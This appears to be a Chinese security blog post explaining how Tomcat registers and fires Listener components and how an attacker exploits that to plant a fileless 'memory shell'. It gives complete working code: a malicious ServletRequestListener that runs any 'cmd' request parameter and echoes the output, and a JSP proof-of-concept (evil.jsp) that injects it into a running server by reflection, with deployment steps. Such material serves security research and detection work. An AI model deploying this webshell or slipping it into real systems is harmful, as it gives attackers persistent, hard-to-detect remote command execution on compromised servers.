Tomcat内存马学习3:Listener型

本文详细介绍了Tomcat中Listener型内存马的实现原理,包括Listener的加载流程、恶意Listener的创建和动态注册。通过在内存中恶意创建Listener,攻击者可以在每次HTTP请求时执行命令并回显结果。提供了一个动态注册恶意Listener的POC代码,并演示了漏洞复现的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00 前言

上一篇讲了servlet型内存马,而这次这个Listener型内存马也是大同小异,就是在内存中恶意创建一个Listener供攻击者使用

0x01 Listener加载流程

分为两部分来说

  • Listener注册
  • Listener加载
  1. 我们的 Listener 的名字被存放在 applicationListeners 数组中 (名字是从 web.xml 中添加进来的感兴趣的师傅可以自己跟一下)
  2. findApplicationListeners取出所有Listener名称,根据不同Listener类型,实例化后放置到standcontext不同的成员变量中。比如ServletRequestListener型的存放在ApplicationEventListeners中
  3. 注册完毕
  4. 有web请求时,取出所有standcontext#ApplicationEventListeners中的Listener实例,并依次调用其requestInitialized方法

Listener注册

Listener 既然要被注册进去并使用,那么期间肯定会实例化,所以我在 class 部分部分打了断点

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VEcOppAi-1658674966749)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724203037689.png)]

debug一下,顺着堆栈向上看可以很快的定位到 StandardContext#listenerStart 方法,这个方法我在上一篇文章中提到过,是负责listener注册的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GolBes9B-1658674966750)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724203328218.png)]

就是这里

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zx30UaPV-1658674966750)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724203433941.png)]

打上断点,跟进去看一下,首先利用findApplicationListeners获取所有的listener名称

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6XTlvcQ6-1658674966750)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724203627117.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ob3hAiXy-1658674966751)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724203533397.png)]

然后在2682行,根据listener名称实例化每一个listener并存储在results中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0obraAq8-1658674966751)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724203917030.png)]

接下来会挨个取出results中的值判断其listener类型,如果是ServletRequestAttributeListener类型的listener,则会保存在eventListeners中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R6OGI2ZK-1658674966751)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724204226118.png)]

然后获取ApplicationEventListeners变量值添加到eventListeners中,然后调用setApplicationEventListeners将eventListeners中的所有Listener实例保存在ApplicationEventListeners中

其逻辑大概就是

  1. 先将已经注册的Listener添加到eventListeners中
  2. 清空standcontext的applicationEventListeners值
  3. 将eventListeners赋值给applicationEventListeners

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1W3JTbFo-1658674966752)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724204737851.png)]

将我们的TestListener存放到standcontext的applicationEventListeners中,就算是完成Listener的注册,applicationEventListeners存放着实例化过后的TestListener

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yPt4ojhT-1658674966752)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724205052335.png)]

至此 listenerStart 函数的主要部分就介绍完毕了

Listener加载

注册好Listener后,接下来我们看一下是如何调用该Listener的

在requestInitialized方法处打上断点

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5sWv9W3b-1658674966752)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724211630759.png)]

debug一下,顺着堆栈向上看可以很快的定位到 StandardContext#fireRequestInitEvent方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SdUHCRSM-1658674966752)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724211703807.png)]

看一下这个方法

首先利用getApplicationEventListeners获取ApplicationEventListeners变量,然后遍历里面的Listener实例并判断是否是事件型监听器,如果是的话调用其监听器的requestInitialized方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ILzPJ3iF-1658674966753)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724222550406.png)]

所以我们的内存马只需要添加到这个数组里面就可以了,只要有http请求,就会触发恶意listener的requestInitialized方法

0x02 listener内存马

恶意Listener

首先我们需要创建一个恶意Listener,这个Listener是ServletRequestListener型监听器。即只要有http请求就会触发这个监听器。

这里我想说一下,我们的目的就是在requestInitialized方法中获取cmd参数执行命令并回显。现在就用两个问题

  • 怎么获取cmd参数

我们可以通过sre.getServletRequest()获得ServletRequest,ServletRequest这个对象可以获取请求参数。

  • 怎么获取response对象,使得可回显结果

上面方法可以获取请求参数,但是呢不管是sre还是ServletRequest都无法获取response对象,也就是执行完命令无法回显。为了进一步获取response对象,我们就需要获得Request对象利用其getResponse来获取response对象,而Request对象就存储在ServletRequest中

https://www.yuque.com/tianxiadamutou/zcfd4v/na64yv#d12dc29f

是如何发现Request对象就存储在ServletRequest中的,具体可看上面这篇

恶意listener如下

public class ServletListener implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmd;
        try {
            cmd = sre.getServletRequest().getParameter("cmd");
            org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
            Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(requestFacade);
            Response response = request.getResponse();

            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i=inputStream.read(bytes)) != -1){
                    response.getWriter().write(new String(bytes,0,i));
                    response.getWriter().write("\r\n");
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

动态注册

我们已经知道了Listener的注册流程,注册代码也就出来了

POC:

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
	//首先创造一个恶意Listener
    class ListenerMemShell implements ServletRequestListener {

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                //反射获取Request对象进而获得Response对象
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

<%
    ServletContext servletContext =  request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

	//获取standcontext的ApplicationEventListeners变量
    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
	//将我们的恶意Listener添加到ApplicationEventListeners中
    arrayList.add(new ListenerMemShell());
	//将新的ApplicationEventListeners添加到standardContext中
    standardContext.setApplicationEventListeners(arrayList.toArray());
	out.println("inject servlet success!");

%>

0x03漏洞复现

上传evil.jsp

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VqyeysIF-1658674966753)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724224023227.png)]

访问evil.jsp,显示inject servlet success!说明注入成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jt6ds6Kh-1658674966753)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724224449457.png)]

因为注入的是ServletRequestListener,只要有http请求就会触发该监听器

所以直接输入?cmd=command即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vxHhIylz-1658674966754)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220724224554212.png)]

0x04 总结

  1. 必须搞懂Listener的加载机制
  2. 在此加载机制基础上,设计出Listener内存马poc

0x05 参考文章

https://www.yuque.com/tianxiadamutou/zcfd4v/na64yv

https://goodapple.top/archives/1355

https://www.cnblogs.com/CoLo/p/15782888.html

https://uuzdaisuki.com/2021/06/29/tomcat%E6%97%A0%E6%96%87%E4%BB%B6%E5%86%85%E5%AD%98webshell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值